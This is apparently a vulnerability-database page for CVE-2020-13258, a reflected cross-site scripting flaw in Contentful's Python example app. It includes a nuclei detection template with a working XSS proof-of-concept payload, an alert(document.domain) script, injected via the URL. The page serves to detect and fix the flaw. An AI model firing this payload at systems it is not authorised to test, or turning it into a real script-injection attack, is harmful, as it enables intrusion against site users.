HexBrain

Browse / CVEs / CVE-2020-13258

CVE-2020-13258· contentful / python example· CWE-79

Contentful <=2020-05-21 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1
Positive when: contains "{'api': '" and "</script><script>alert(document.domain)</script>'," AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13258 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-13258

info:
  name: Contentful <=2020-05-21 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/contentful/the-example-app.py/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13258
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13258
    cwe-id: CWE-79
    epss-score: 0.02063
    epss-percentile: 0.81521
    cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contentful
    product: python_example
  tags: cve,cve2020,contentful,xss,vuln

http:
  - raw:
      - |
        GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{'api': '"
          - "</script><script>alert(document.domain)</script>',"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from